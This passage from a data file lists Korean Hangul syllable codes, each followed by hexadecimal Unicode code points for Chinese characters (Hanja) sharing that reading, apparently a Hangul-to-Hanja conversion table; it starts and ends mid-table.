5A95\n5D53 667B 8164 844A 84ED 8AF3 9837 99A3 9EEF\nC555\n58D3 62BC 72CE 9D28\nC559\n4EF0 592E 600F 663B 6B83 79E7 9D26 536C 5771 6CF1\n76CE 9785\nC560\n5393 54C0 57C3 5D16 611B 66D6 6DAF 788D 827E 9698\n9744 50FE 5509 5540 566F 5A2D 5D15 6328 6371 6B38\n6F04 7343 769A 775A 77B9 78D1 7919 8586 85F9 9749\n9A03\nC561\n5384 627C 6396 6DB2 7E0A 814B 984D 545D 6239 6424\n9628\nC575\n6AFB 7F4C 9DAF 9E1A 56B6 5AC8 7F43 9DEA\nC57C\n4E5F 503B 51B6 591C 60F9 63F6 6930 723A 8036 91CE\n57DC\nC57D\n5F31 7D04 82E5 846F 84BB 85E5 8E8D 721A 79B4 7BDB\n7C65 9470 9C2F 9DB8 9FA0\nC591\n4F6F 58E4 5B43 6059 63DA 6518 656D 6698 694A 6A23\n6D0B 7001 716C 75D2 760D 79B3 7A70 7F8A 8944 8B93\n91C0 967D 990A 5F89 6F3E 703C 70CA 7662 773B 8618\n8F30 9472 98BA 9A64\nC5B4\n5704 5FA1 65BC 6F01 7600 79A6 8A9E 99AD 9B5A 9F6C\n5709 6554 6DE4 98EB\nC5B5\n5104 61B6 6291 6A8D 81C6 7E76\nC5B8\n5043 5830 5F66 7109 8A00 8AFA 50BF 533D 5AE3 8B9E\n9122 9F34 9F39\nC5BC\n5B7C 8616 81EC\nC5C4\n4FFA 513C 56B4 5944 63A9 6DF9 5D26 5E7F 66EE 7F68\n9183 95B9\nC5C5\n5DAA 696D 5DAB 9134\nC5D0\n605A 66C0\nC5D4\n5186\nC5EC\n4E88 4F59 5982 6B5F 6C5D 74B5 7916 8207 8245 8339\n8F3F 8F5D 9918 8201\nC5ED\n4EA6 57DF 5F79 6613 75AB 7E79 8B6F 9006 9A5B 5DA7\n61CC 6DE2 95BE\nC5F0\n56A5 5827 59F8 5A1F 5BB4 5EF6 6350 633B 693D 6C87\n6CBF 6D8E 6D93 6DF5 6F14 70DF 7136 7159 71C3 71D5\n784F 786F 7B75 7DE3 7E2F 884D 8EDF 925B 9CF6 5157\n56E6 57CF 5B3F 6081 63BE 66E3 6ADE 6E37 81D9 839A\n8735 8815 8B8C 9DF0\nC5F4\n6085 6D85 71B1 95B1 564E\nC5FC\n53AD 67D3 708E 7130 7430 8276 82D2 95BB 9AE5 9E7D\n5189 5869 61D5 624A 6ABF 6AB6 704E 7069 91C5 995C\n9B58 9EF6\nC5FD\n66C4 71C1 8449 66C5 7180 7217 9768\nC601\n584B 5DB8 5F71 6620 668E 6979 69AE 6C38 6CF3 6E36\n6F41 6FDA 701B 702F 7150 71DF 7370 745B 74D4 76C8\n7A4E 7E93 82F1 8A60 8FCE 9348 9719 548F 5B34 5B30\n6D67 6FF4 766D 78A4 7E08 8811 8D0F 90E2 97FA\nC608\n4E42 502A 5208 53E1 66F3 6C6D 6FCA 730A 777F 7A62\n82AE 85DD 8602 88D4 8A63 8B7D 8C6B 92B3 9713 9810\n56C8 5ADB 62FD 639C 6798 7369 7768 7796 7E44 7FF3\n82C5 854A 854B 8589 868B 873A 9BE2 9DD6 9E91\nC624\n4E94 4F0D 4FC9 50B2 5348 543E 5433 55DA 5862 58BA\n5967 5A1B 5BE4 609F 61CA 6556 65FF 6664 68A7 6C5A\n6FB3 70CF 71AC 7352 7B7D 8708 8AA4 9C32 9F07 4EF5\n4FE3 5514 55F7 5641 572C 5AAA 5AEF 5FE4 6160 6342\n6C59 7AB9 8071 8323 8956 8B37 8FC3 8FD5 9068 93CA\n93D6 96A9 9A41 9F2F\nC625\n5C4B 6C83 7344 7389 923A\nC628\n6EAB 7465 761F 7A69 7E15 860A 5ABC 614D 6637 6C33\n7185 8580 8F40 919E 97DE 9942 9C2E\nC62C\n5140 55E2 8183\nC639\n58C5 64C1 74EE 7515 7670 7FC1 9095 96CD 9954 5581\n5EF1 6EC3 7655 79BA 7F4B 84CA 96DD 9852\nC640\n6E26 74E6 7AA9 7AAA 81E5 86D9 8778 8A1B 54C7 56EE\n5A50 6799 6D3C 7327 7A8A 8435 8B4C\nC644\n5A49 5B8C 5B9B 68A1 6900 6D63 73A9 7413 742C 7897\n7DE9 7FEB 8118 8155 839E 8C4C 962E 9811 5213 57B8\n59A7 5C8F 5FE8 60CB 6DB4 76CC\nC648\n66F0\nC655\n5F80 65FA 6789 6C6A 738B 5C2B 7007 8FEC\nC65C\n502D 5A03 6B6A 77EE 5AA7\nC678\n5916 5D6C 5DCD 7325 754F 504E 5D34 5D54 6E28 7168\n78A8 78C8 8075 9697\nC694\n50E5 51F9 582F 592D 5996 59DA 5BE5 5DA2 62D7 6416\n6493 64FE 66DC 6A48 71FF 7464 7A88 7AAF 7E47 7E5E\n8000 8170 87EF 8981 8B20 9059 9080 9952 5060 5593\n5773 589D 5B08 5E7A 5FAD 5FBC 6B80 6F86 7945 7A7E\n7A85 8558 9076 9DC2\nC695\n617E 6B32 6D74 7E1F 8925 8FB1 6EBD 84D0\nC6A9\n4FD1 50AD 5197 52C7 57C7 5889 5BB9 5EB8 6142 6995\n6D8C 6E67 6EB6 7194 7462 7528 752C 8073 8338 84C9\n8E0A 9394 93DE 509B 5B82 5D71 6175 6183 69E6 7867\n8202 86F9 8E34\nC6B0\n4E8E 4F51 5076 512A 53C8 53CB 53F3 5B87 5BD3 5C24\n611A 6182 65F4 725B 7397 7440 76C2 7950 7991 79B9\n7D06 7FBD 828B 85D5 865E 8FC2 9047 90F5 91EA 9685\n96E8 96E9 4E8F 4EB4 4FC1 504A 5401 5823 5D4E 5EBD\n6745 75A3 76F1 7AFD 8026 8030 8B23 8E3D 935D 9E80\n9E8C 9F72\nC6B1\n52D6 5F67 65ED 6631 682F 715C 7A36 90C1 980A 71E0\nC6B4\n4E91 6A52 6B9E 6F90 7189 8018 82B8 8553 904B 9695\n96F2 97FB 60F2 6C84 7BD4 7D1C 9723 97F5\nC6B8\n851A 9B31 4E90\nC6C5\n718A 96C4\nC6D0\n5143 539F 54E1 5713 5712 57A3 5A9B 5AC4 5BC3 6028\n613F 63F4 6C85 6D39 6E72 6E90 7230 733F 7457 82D1\n8881 8F45 9060 9662 9858 9D1B 51A4 571C 676C 6965\n7328 7DA9 82AB 8597 873F 8B1C 92FA 9A35 9D77 9EFF\nC6D4\n6708 8D8A 925E 5216 7CA4\nC704\n4F4D 5049 50DE 5371 570D 59D4 5A01 5C09 6170 6690\n6E2D 7232 744B 7DEF 80C3 840E 8466 853F 875F 885B\n8918 8B02 9055 97CB 9B4F 559F 5E43 7152 71A8 75FF\n8473 885E 8AC9 9036 95C8 97D9 97E1 9927 9AAA\nC720\n4E73 4F91 5112 516A 552F 55A9 5B7A 5BA5 5E7C 5E7D\n5EBE 60A0 60DF 6108 6109 63C4 6538 6709 67D4 67DA\n6961 6962 6CB9 6D27 6E38 6FE1 7336 7337 745C 7531\n7652 7DAD 81FE 8438 88D5 8A98 8ADB 8AED 8E30 8E42\n904A 903E 907A 9149 91C9 936E 5198 5466 56FF 58DD\n5E37 63C9 65BF 6CD1 7256 7609 7610 7AAC 7AB3 7C72\n7CC5 7DCC 8174 83A0 8555 8564 86B0 86B4 8764 8915\n8B89 900C 97A3 9BAA 9EDD 9F2C 9FA5\nC721\n5809 6BD3 8089 80B2 5125\nC724\n5141 596B 5C39 6F64 73A7 80E4 8D07 9217 958F 6600\n92C6\nC728\n807F 6F4F 77DE\nC735\n620E 701C 7D68 878D 72E8\nC740\n57A0 6069 6147 6BB7 8ABE 9280 96B1 542C 569A 5701\n57BD 6196 6ABC 6EB5 72FA 73E2 766E 8A14 911E 9F57\nC744\n4E59 9CE6\nC74C\n541F 6DEB 852D 9670 97F3 98EE 5591 5D1F 5ED5 6114\n972A\nC74D\n63D6 6CE3 9091 6092 6339 6D65\nC751\n51DD 61C9 81BA 9DF9\nC758\n4F9D 501A 5100 5B9C 610F 61FF 64EC 6905 6BC5 7591\n77E3 7FA9 8264 858F 87FB 8863 8ABC 8B70 91AB 5117\n51D2 5293 5DB7 6B39 6F2A 7317 7912 8798 9950\nC774\n4E8C 4EE5 4F0A 5937 59E8 5DF2 5F1B 5F5B 6021 723E\n73E5 7570 75CD 79FB 800C 8033 8084 82E1 8351 8CBD\n8CB3 9087 98F4 990C 54BF 5768 5C14 5F5D 682E 6D1F\n73C6 8A11 8A51 8FE4 96B6\nC775\n7037 76CA 7FCA 7FCC 7FFC 8B1A 5F0B 71A4 9DC1\nC778\n4EBA 4EC1 5203 5370 54BD 56E0 59FB 5BC5 5F15 5FCD\n6E6E 7D6A 8335 8693 8A8D 976D 9777 4EDE 5819 5924\n5A63 6268 6C24 6D07 798B 7C7E 82A2 88C0\nC77C\n4E00 4F5A 4F7E 58F9 65E5 6EA2 9038 93B0 99B9 6CC6\n8EFC\nC784\n4EFB 58EC 598A 59D9 6041 7A14 834F 8CC3 7D4D 887D\n928B 98EA\nC785\n5165 5344 5EFF\nC789\n4ECD 5269 5B55 82BF 5AB5\nC790\n4ED4 523A 54A8 59C9 59FF 5B50 5B57 5B5C 6063 6148\n6ECB 7099 716E 7386 74F7 75B5 78C1 7D2B 8005 81EA\n8328 8517 85C9 8AEE 8CC7 96CC 5470 5B28 5B56 5B76\n67D8 6CDA 7278 7725 7726 7CA2 8014 80FE 8308 8332\n83BF 8678 89DC 8A3E 8CB2 8D6D 93A1 983F 9AED 9B93\n9DBF 9DD3\nC791\n4F5C 52FA 56BC 65AB 6628 707C 70B8 7235 7DBD 828D\n914C 96C0 9D72 5C9D 600D 65B1 67DE 6C4B 712F 72B3\n788F\nC794\n5B71 68E7 6B98 6F7A 76DE 5257 6214 9A4F\nC7A0\n5C91 66AB 6F5B 7BB4 7C2A 8836 6D94 6F5C 6FF3\nC7A1\n96DC 5361 56C3 7728 78FC 894D\nC7A5\n4E08 4ED7 5320 5834 58BB 58EF 596C 5C07 5E33 5E84\n5F35 638C 66B2 6756 6A1F 6AA3 6B0C 6F3F 7246 7350\n748B 7AE0 7CA7 8178 81DF 81E7 838A 846C 8523 8594\n85CF 88DD 8D13 91AC 9577 969C 50BD 5958 599D 5B19\n5D82 5EE7 6215 6F33 7242 7634 7CDA 7F98 8407 88C5\n8CEC 9123 93D8 9926 9E9E\nC7AC\n518D 54C9 5728 5BB0 624D 6750 683D 6893 6E3D 6ED3\n707D 7E21 88C1 8CA1 8F09 9F4B 9F4E 5908 5D3D 6257\n699F 707E 7E94\nC7C1\n722D 7B8F 8ACD 931A 5D22 7319 7424 9397\nC800\n4F47 4F4E 5132 5480 59D0 5E95 62B5 6775 696E 6A17\n6CAE 6E1A 72D9 732A 75BD 7BB8 7D35 82E7 83F9 8457\n85F7 8A5B 8CAF 8E87 9019 90B8 96CE 9F5F 5B81 5CA8\n677C 67E2 6C10 6F74 7026 7274 7F5D 7F9D 82F4 86C6\n889B 891A 89DD 8A46 8C6C 967C\nC801\n52E3 540A 5AE1 5BC2 6458 6575 6EF4 72C4 7684 7A4D\n7B1B 7C4D 7E3E 7FDF 837B 8B2B 8CCA 8D64 8DE1 8E5F\n8FEA 8FF9 9069 93D1 6A00 78E7 7CF4 83C2 89BF 9016\n99B0\nC804\n4F43 4F7A 50B3 5168 5178 524D 526A 5861 587C 5960\n5C08 5C55 5EDB 609B 6230 6813 6BBF 6C08 6FB1 714E\n7420 7530 7538 7551 7672 7B4C 7B8B 7BAD 7BC6 7E8F\n8A6E 8F3E 8F49 923F 9293 9322 942B 96FB 985A 986B\n991E 542E 56C0 5AE5 5C47 5DD3 6229 63C3 65C3 6834\n69C7 6E54 6FB6 724B 7471 750E 754B 7560 75CA 765C\n78DA 7C5B 7FB6 7FE6 8146 819E 8343 8E94 8F07 9085\n913D 92D1 932A 975B 9766 9853 98E6 9930 9B0B 9C63\n9E07\nC808\n5207 622A 6298 6D59 7664 7ACA 7BC0 7D76 5C8A 6662\n7A83\nC810\n5360 5CBE 5E97 6F38 70B9 7C98 9711 9B8E 9EDE 4F54\n588A 73B7 7B18 7C1F 82EB 852A 86C5 8998 98AD 9ECF\nC811\n63A5 647A 8776 6904 696A 8728 8DD5 8E40 9C08\nC815\n4E01 4E95 4EAD 505C 5075 5448 59C3 5B9A 5E40 5EAD\n5EF7 5F81 60C5 633A 653F 6574 65CC 6676 6678 67FE\n6968 6A89 6B63 6C40 6DC0 6DE8 6E1F 6E5E 701E 70A1\n738E 73FD 753A 775B 7887 798E 7A0B 7A7D 7CBE 7D8E\n8247 8A02 8AEA 8C9E 912D 914A 91D8 9266 92CC 9320\n9706 9756 975C 9802 9F0E 4F42 53EE 5A67 5A77 6014\n639F 686F 6883 68D6 706F 73F5 7594 7B73 839B 8A3C\n9049 9172 92E5 975A\nC81C\n5236 5291 557C 5824 5E1D 5F1F 608C 63D0 68AF 6FDF\n796D 7B2C 81CD 85BA 88FD 8AF8 8E44 918D 9664 969B\n973D 984C 9F4A 5115 5A23 64E0 7318 7445 7747 7994\n7A0A 7DF9 8E36 8E4F 8E8B 9357 9684 97F2 9BA7 9BF7\nC870\n4FCE 5146 51CB 52A9 5632 5F14 5F6B 63AA 64CD 65E9\n6641 66FA 66F9 671D 689D 68D7 69FD 6F15 6F6E 7167\n71E5 722A 74AA 773A 7956 795A 79DF 7A20 7A95 7C97\n7CDF 7D44 7E70 8087 85FB 86A4 8A54 8ABF 8D99 8E81\n9020 906D 91E3 963B 96D5 9CE5 4F7B 50AE 5201 539D\n5608 566A 5B25 5F82 61C6 627E 6B82 6FA1 7431 7681\n7967 7AC8 7B0A 7CD9 7CF6 7D69 7D5B 80D9 81CA 825A\n8526 8729 8A82 8B5F 921F 929A 92FD 9BDB 9D70 9F02\nC871\n65CF 7C07 8DB3 93C3 762F\nC874\n5B58 5C0A 62F5\nC878\n5352 62D9 731D\nC885\n5027 5B97 5F9E 60B0 616B 68D5 6DD9 742E 7A2E 7D42\n7D9C 7E31 816B 8E2A 8E35 937E 9418 4F00 6152 67CA\n6936 6A05 747D 7607 7CBD 87BD 8E64\nC88C\n4F50 5750 5DE6 5EA7 632B 5249 75E4 839D 9AFD\nC8C4\n7F6A\nC8FC\n4E3B 4F4F 4F8F 505A 59DD 80C4 546A 5468 55FE 594F\n5B99 5DDE 5EDA 665D 6731 67F1 682A 6CE8 6D32 6E4A\n6F8D 70B7 73E0 7587 7C4C 7D02 7D2C 7DA2 821F 86DB\n8A3B 8A85 8D70 8E8A 8F33 9031 914E 9152 9444 99D0\n4E1F 4F9C 5114 5C0C 5E6C 62C4 7843 7C52 8098 8160\n851F 86C0 88EF 8A4B 8CD9 8D8E 8F08 9052 9252 970C\n9714 9F04\nC8FD\n7AF9 7CA5\nC900\n4FCA 5101 51C6 57C8 5BEF 5CFB 6659 6A3D 6D5A 6E96\n6FEC 710C 756F 7AE3 8822 9021 9075 96CB 99FF 5642\n57FB 58AB 60F7 6499 76B4 7DA7 7F47 8E06 8E72 940F\n96BC 9915 9C52 9D54\nC904\n8301 4E7C\nC911\n4E2D 4EF2 8846 91CD 773E\nC989\n537D 5373 559E\nC990\n6ADB 9A2D\nC999\n696B 6C41 847A 6A9D 857A\nC99D\n589E 618E 66FE 62EF 70DD 7511 75C7 7E52 84B8 8B49\n8D08 5D92 77F0 7F7E\nC9C0\n4E4B 53EA 54AB 5730 5740 5FD7 6301 6307 646F 652F\n65E8 667A 679D 67B3 6B62 6C60 6C9A 6F2C 77E5 7825\n7949 7957 7D19 80A2 8102 81F3 829D 82B7 8718 8A8C\n8D04 8DBE 9072 577B 5880 627A 69B0 6CDC 75E3 79EA\n7BEA 8210 8E1F 8E93 8EF9 962F 9BA8 9DD9\nC9C1\n76F4 7A19 7A37 7E54 8077 799D\nC9C4\n5507 55D4 5875 632F 6422 6649 664B 686D 699B 6B84\n6D25 6EB1 73CD 7468 74A1 755B 75B9 76E1 771E 778B\n79E6 7E09 7E1D 81FB 852F 8897 8A3A 8CD1 8EEB 8FB0\n9032 93AD 9663 9673 9707 4FB2 5118 73D2 7A39 84C1\n87B4 8D81 9241 9B12\nC9C8\n4F84 53F1 59EA 5AC9 5E19 684E 74C6 75BE 79E9 7A92\n81A3 86ED 8CEA 8DCC 8FED 57A4 7D70 84BA 90C5 9455\nC9D0\n659F 6715 9D06\nC9D1\n57F7 6F57 7DDD 8F2F 93F6 96C6 54A0 6222\nC9D5\n5FB5 61F2 6F84 6F82 7013 7665 77AA\nCC28\n4E14 4F98 501F 53C9 55DF 5D6F 5DEE 6B21 6B64 78CB\n7B9A 8E49 8ECA 906E 4F7D 5056 5953 5C94 5FA3 69CE\n7473 7868\nCC29\n6349 643E 7740 7A84 932F 947F 9F6A 6233 64C9 65B2\nCC2C\n64B0 6FAF 71E6 74A8 74DA 7AC4 7C12 7E82 7CB2 7E98\n8B9A 8D0A 947D 9910 994C 5127 5139 5297 5DD1 6522\n6B11 7228 8DB2\nCC30\n5239 5BDF 64E6 672D 7D2E 624E 62F6\nCC38\n50ED 53C3 5879 6158 6159 61FA 65AC 7AD9 8B92 8B96\n5133 53C5 5D84 5DC9 615A 61AF 6519 69E7 6B03 6BDA\n8B56 93E8 9471 995E 9A42 9EF2\nCC3D\n5009 5021 5275 5531 5A3C 5EE0 5F70 6134 655E 660C\n6636 66A2 69CD 6EC4 6F32 7316 7621 7A93 8139 8259\n83D6 84BC 5000 5096 51D4 5231 60B5 60DD 6227 6436\n6919 6C05 7472 7A97 7ABB 8E4C 92F9 9306 95B6 9B2F\n9DAC\nCC44\n50B5 57F0 5BC0 5BE8 5F69 63A1 7826 7DB5 83DC 8521\n91C7 91F5 68CC 831D\nCC45\n518A 67F5 7B56 8CAC 5616 5E58 78D4 7B27 7C00 86B1\nCC98\n51C4 59BB 60BD 8655 6DD2 840B 8904 89B7 90EA\nCC99\n501C 5254 5C3A 617D 621A 62D3 64F2 65A5 6ECC 7620\n810A 8E60 965F 96BB 544E 5767 5849 60D5 6357 646D\n8734 8DD6 8E91\nCC9C\n4EDF 5343 5598 5929 5DDD 64C5 6CC9 6DFA 7394 7A7F\n821B 85A6 8CE4 8E10 9077 91E7 95E1 9621 97C6 4FF4\n5029 50E2 5103 6D0A 6FFA 74E9 7946 7C81 81F6 828A\n831C 8350 84A8 8546 8695 8FBF 975D\nCCA0\n51F8 54F2 5586 5FB9 64A4 6F88 7DB4 8F1F 8F4D 9435\n525F 555C 57D1 60D9 6387 6B60 9295 9323 98FB 992E\nCCA8\n50C9 5C16 6CBE 6DFB 751B 77BB 7C3D 7C64 8A79 8AC2\n5E68 5FDD 60C9 6A90 6AFC 7038 7C37 895C\nCCA9\n581E 59BE 5E16 6377 7252 758A 776B 8ADC 8CBC 8F12\n5022 546B 558B 6017 893A\nCCAD\n5EF3 6674 6DF8 807D 83C1 8ACB 9751 9BD6 51CA 570A\n873B 9D84\nCCB4\n5243 66FF 6D95 6EEF 7DE0 8AE6 902E 905E 9AD4 568F\n5F58 68E3 6BA2 780C 8482 8515 855E 8EC6 9746 9AF0\nCD08\n521D 527F 54E8 6194 6284 62DB 68A2 6912 695A 6A35\n7092 7126 785D 7901 790E 79D2 7A0D 8096 8278 82D5\n8349 8549 8C82 8D85 9162 918B 91AE 5062 50EC 52AD\n52E6 564D 5AF6 5CA7 5CED 5D95 600A 6084 6100 676A\n71CB 7D83 8016 8A9A 8B59 8DA0 8EFA 8FE2 9214 936B\n936C 9798 9866 9AEB 9DE6 9F60\nCD09\n4FC3 56D1 71ED 77D7 8700 89F8 66EF 7225 77DA 85A5\n8E85 9AD1\nCD0C\n5BF8 5FD6 6751 90A8 540B\nCD1D\n53E2 585A 5BF5 60A4 6181 6460 7E3D 8070 8525 9283\n8471 84EF 93E6 9A18 9A44\nCD2C\n64AE\nCD5C\n50AC 5D14 6700 562C 6467 69B1 6F3C 7480 78EA 7E17\n8127\nCD94\n589C 62BD 63A8 690E 6978 6A1E 6E6B 76BA 79CB 82BB\n8429 8ACF 8DA8 8FFD 9112 914B 919C 9310 9318 939A\n96DB 9A36 9C0D 50E6 557E 5A35 5E1A 60C6 6376 63EB\n6425 7503 7633 9F9D 7B92 7BA0 7C09 7E0B 7E10 84AD\n966C 96B9 97A6 9A05 9B4B 9C0C 9D7B 9D96 9DB5 9E84\n9EA4\nCD95\n4E11 755C 795D 7AFA 7B51 7BC9 7E2E 84C4 8E59 8E74\n8EF8 9010 59AF 8233 8C56 8E5C 9F00\nCD98\n6625 693F 7443\nCD9C\n51FA 672E 9EDC 79EB\nCDA9\n5145 5FE0 6C96 87F2 885D 8877 51B2 5FE1 73EB\nCDCC\n60B4 81B5 8403 8D05 60F4 63E3 75A9 7601 9847\nCDE8\n53D6 5439 5634 5A36 5C31 708A 7FE0 805A 8106 81ED\n8DA3 9189 9A5F 9DF2 51A3 6A47 6BF3\nCE21\n5074 4EC4 53A0 60FB 6E2C 5EC1 6603\nCE35\n5C64\nCE58\n4F88 5024 55E4 5CD9 5E5F 6065 6894 6CBB 6DC4 71BE\n75D4 75F4 7661 7A1A 7A49 7DC7 7DFB 7F6E 81F4 86A9\n8F1C 96C9 99B3 9F52 536E 54C6 5BD8 5DF5 7564 75D3\n7D7A 83D1 8599 892B 8C78 8DF1 9319 9624 9BD4 9D19\n9D1F 9D44\nCE59\n5247 52C5 98ED 6555\nCE5C\n89AA 6AEC 85FD 896F 9F54\nCE60\n4E03 67D2 6F06\nCE68\n4FB5 5BE2 6795 6C88 6D78 741B 7827 91DD 937C 5BD6\n5FF1 6939 6C89 90F4 92DF 99F8\nCE69\n87C4\nCE6D\n79E4 7A31\nCF8C\n5FEB 5672 592C\nD0C0\n4ED6 54A4 553E 58AE 59A5 60F0 6253 62D6 6736 6955\n8235 9640 99B1 99DD 4F57 579E 62D5 67C1 6A62 6CB1\n8A6B 8DCE 8EB1 99DE 9B80 9D15 9F09\nD0C1\n502C 5353 5544 577C 6258 64E2 666B 67DD 6FC1 6FEF\n7422 7438 8A17 9438 62C6 6A50 6CB0 6DBF 77FA 7C5C\n8600 8E14 9034\nD0C4\n5451 5606 5766 5F48 619A 6B4E 7058 70AD 7DBB 8A95\n61BB 6524 6BAB 7671 9A52\nD0C8\n596A 812B 4FBB\nD0D0\n63A2 7708 803D 8CAA 55FF 5FD0 9156\nD0D1\n5854 642D 69BB 509D 584C 6428\nD0D5\n5B95 5E11 6E6F 8569 71D9 76EA 78AD 862F\nD0DC\n514C 53F0 592A 6020 614B 6B86 6C70 6CF0 7B1E 80CE\n82D4 8DC6 90B0 98B1 57ED 5A27 5B61 62AC 8FE8 99C4\n99D8\nD0DD\n64C7 6FA4\nD0F1\n6491 6490 725A\nD130\n6504\nD1A0\n514E 5410 571F 8A0E\nD1A4\n564B 5678 74F2\nD1B5\n615F 6876 75DB 7B52 7D71 901A 606B 6A0B 7B69\nD1F4\n5806 69CC 817F 892A 9000 9839 96A4\nD22C\n5078 5957 59AC 6295 900F 9B2A 5992 6E1D 9AB0\nD241\n4F5F\nD2B9\n615D 7279 5FD2\nD2C8\n95D6\nD30C\n5761 5A46 5DF4 628A 64AD 64FA 6777 6CE2 6D3E 722C\n7436 7834 7F77 82AD 8DDB 9817 53F5 5991 5CA5 6015\n705E 7238 73BB 76A4 7B06 7C38 8019 83E0 8469 9131\nD310\n5224 5742 677F 7248 74E3 8CA9 8FA6 9211 962A 6C74\nD314\n516B 53ED 634C 6733 6C43\nD328\n4F69 5504 6096 6557 6C9B 6D7F 724C 72FD 7A17 8987\n8C9D 5B5B 65C6 73EE 9708 9738\nD33D\n5F6D 6F8E 70F9 81A8 7830 794A 87DA 87DB\nD345\n610E\nD3B8\n4FBF 504F 6241 7247 7BC7 7DE8 7FE9 904D 97AD 9A19\n533E 5FA7 60FC 7DF6 8251 8439 8759 890A 8ADE\nD3C4\n8CB6 782D 7A86\nD3C9\n576A 5E73 67B0 840D 8A55 6026 62A8 6CD9 82F9 84F1\n9B83\nD3D0\n5420 5B16 5E63 5EE2 5F0A 6583 80BA 853D 9589 965B\n655D 72F4 7358 7648\nD3EC\n4F48 5305 530D 530F 5486 54FA 5703 5E03 6016 629B\n62B1 6355 6CE1 6D66 75B1 7832 80DE 812F 82DE 8461\n84B2 888D 8912 900B 92EA 98FD 9B91 5124 5E96 6661\n66D3 70AE 70B0 8216 8AA7 924B 9784 9914 9BC6\nD3ED\n5E45 66B4 66DD 7011 7206\nD45C\n4FF5 527D 5F6A 6153 6753 6A19 6F02 74E2 7968 8868\n8C79 98C7 98C4 9A43 50C4 52E1 560C 5AD6 647D 6B8D\n719B 7E39 88F1 93E2 9463 9ADF 9C3E\nD488\n54C1 7A1F 7980\nD48D\n6953 8AF7 8C4A 98A8 99AE 760B 8451\nD53C\n5F7C 62AB 75B2 76AE 88AB 907F 9642 8A56 8F9F 9781\n9AF2\nD53D\n8177\nD544\n5339 5F3C 5FC5 6CCC 73CC 7562 758B 7B46 82FE 999D\n4F56 5487 6EED 7BF3 7F7C 84FD 89F1 8E55 97B8 97E0\n99DC 9D6F\nD54D\n4E4F 903C 506A\nD558\n4E0B 4F55 53A6 590F 5EC8 6630 6CB3 7455 8377 8766\n8CC0 9050 971E 9C15 5440 5687 5C88 61D7 7146 7615\n7F45 935C\nD559\n58D1 5B78 8650 8B14 9DB4 72E2 7627 76AC 786E 90DD\n9DFD\nD55C\n5BD2 6068 608D 65F1 6C57 6F22 6FA3 701A 7F55 7FF0\n9591 9592 9650 97D3 50E9 5AFA 5AFB 634D 66B5 9588\n99FB 9DF3 9F3E\nD560\n5272 8F44 778E\nD568\n51FD 542B 54B8 5563 558A 6ABB 6DB5 7DD8 8266 929C\n9677 9E79 839F 83E1 8AF4 8F5E 95DE\nD569\n5408 54C8 76D2 86E4 95A4 95D4 965C 530C 55D1 67D9\n69BC 6E98 76CD 90C3\nD56D\n4EA2 4F09 59EE 5AE6 5DF7 6052 6297 676D 6841 6C86\n6E2F 7F38 809B 822A 9805 592F 6046 7095 7F3F 980F\nD574\n4EA5 5055 54B3 5793 595A 5B69 5BB3 61C8 6977 6D77\n7023 87F9 89E3 8A72 8AE7 9082 99ED 9AB8 548D 5DB0\n5EE8 6B2C 736C 744E 75CE 85A4 91A2 9826 9BAD\nD575\n52BE 6838 7FEE 8988\nD589\n5016 5E78 674F 8347 884C 60BB\nD5A5\n4EAB 5411 56AE 73E6 9115 97FF 9909 9957 9999 858C\nD5C8\n5653 589F 865B 8A31 6B54\nD5CC\n61B2 6AF6 737B 8ED2 5DDA 5E70 6507\nD5D0\n6B47\nD5D8\n96AA 9A57 5DAE 736B 7381\nD601\n5955 7200 8D6B 9769 5F08 6D2B 7131 9B29\nD604\n4FD4 5CF4 5F26 61F8 665B 6CEB 70AB 7384 73B9 73FE\n7729 774D 7D43 7D62 7E23 8237 8852 8CE2 9249 986F\n5107 5B1B 6621 7404 75C3 770C 7E6F 7FFE 8706 8AA2\n92D7 99FD\nD608\n5B51 7A74 8840 9801 7D5C 8D90\nD610\n5ACC\nD611\n4FE0 5354 593E 5CFD 633E 6D79 72F9 8105 8107 83A2\n92CF 9830 5327 53F6 57C9 604A 608F 611C 7BCB\nD615\n4EA8 5144 5211 578B 5F62 6CC2 6ECE 7005 7050 70AF\n7192 73E9 7469 834A 87A2 8861 9008 90A2 93A3 99A8\n5910 5A19 8A57 8FE5 9658\nD61C\n516E 5F57 60E0 6167 66B3 8559 8E4A 91AF 978B 5092\n5612 5BED 5FAF 69E5 76FB 8B11 8B7F\nD638\n4E4E 4E92 547C 58D5 58FA 597D 5CB5 5F27 6236 6248\n660A 6667 6BEB 6D69 6DCF 6E56 6EF8 6F94 6FE0 6FE9\n705D 72D0 7425 745A 74E0 7693 795C 7CCA 7E1E 80E1\n82A6 846B 84BF 864E 865F 8774 8B77 8C6A 93AC 9800\n9865 512B 51B1 5637 5AED 5AEE 6019 6C8D 6EC8 6EEC\n7292 7322 769C 769E 7B8E 8055 9190 992C 9B0D\nD639\n60D1 6216 9177\nD63C\n5A5A 660F 6DF7 6E3E 743F 9B42 5702 60DB 6EB7 711C\n95BD\nD640\n5FFD 60DA 7B0F 56EB\nD64D\n54C4 5F18 6C5E 6CD3 6D2A 70D8 7D05 8679 8A0C 9D3B\n664E 6F92 7BCA 9277 9B28\nD654\n5316 548C 5B05 6A3A 706B 7575 798D 79BE 82B1 83EF\n8A71 8B41 8CA8 9774 4FF0 5629 5A72 64ED 756B 9A4A\n9FA2\nD655\n64F4 652B 78BA 78BB 7A6B 77CD 77E1 792D 944A\nD658\n4E38 559A 5950 5BA6 5E7B 60A3 63DB 6B61 6665 6853\n6E19 7165 74B0 7D08 9084 9A69 9C25 5BF0 61FD 64D0\n74DB 7696 7746 7D59 8C62 8F58 9370 9436 9B1F\nD65C\n6D3B 6ED1 733E 8C41 95CA 86DE\nD669\n51F0 5E4C 5FA8 604D 60F6 6130 614C 6643 6644 69A5\n6CC1 6E5F 6EC9 6F62 714C 749C 7687 7BC1 7C27 8352\n8757 9051 968D 9EC3 55A4 5A93 6033 745D 8093 8CBA\n93A4\nD68C\n532F 56DE 5EFB 5F8A 6062 6094 61F7 6666 6703 6A9C\n6DEE 6FAE 7070 736A 7E6A 81BE 8334 86D4 8AA8 8CC4\n4F6A 6803 6D04 6ED9 76D4 8A7C 8FF4 982E 9C60\nD68D\n5283 7372 5684\nD6A1\n5B96 6A6B 9404 6F8B 921C 9ECC\nD6A8\n54EE 5686 5B5D 6548 6585 66C9 689F 6D8D 6DC6 723B\n80B4 9175 9A4D 509A 56C2 5D24 6BBD 7187 769B 8653\n991A\nD6C4\n4FAF 5019 539A 540E 543C 5589 55C5 5E3F 5F8C 673D\n7166 73DD 9005 543D 55A3 5795 5820 6DB8 7334 7BCC\n8A61 8B43 9157 9931\nD6C8\n52DB 52F3 5864 58CE 7104 